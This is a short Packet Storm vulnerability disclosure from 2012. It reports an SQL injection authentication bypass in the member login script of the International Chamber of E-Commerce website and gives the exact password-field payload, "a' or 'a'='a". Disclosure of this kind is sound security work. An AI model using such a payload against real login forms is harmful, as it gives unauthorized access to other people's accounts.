International Chamber of E-Commerce is vulnerable to authentication bypass due to a lack of input sanitization.
b4b14d475a43b10e2fcf187476c25bb6#####################################################################################
Discoverer: m07hm4n
Target: International Chamber of E-Commerce
Homepage: http://www.chamberecommerce.com
Vulnerable script: /member_login.asp
Type of "attack": Basic SQL Injection (Authentication Bypass)
Example: In the password field just type: "a' or 'a'='a" (without double-quotes).
Greetz to: NeutroN, zeenmc and all h/p community.
#####################################################################################
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!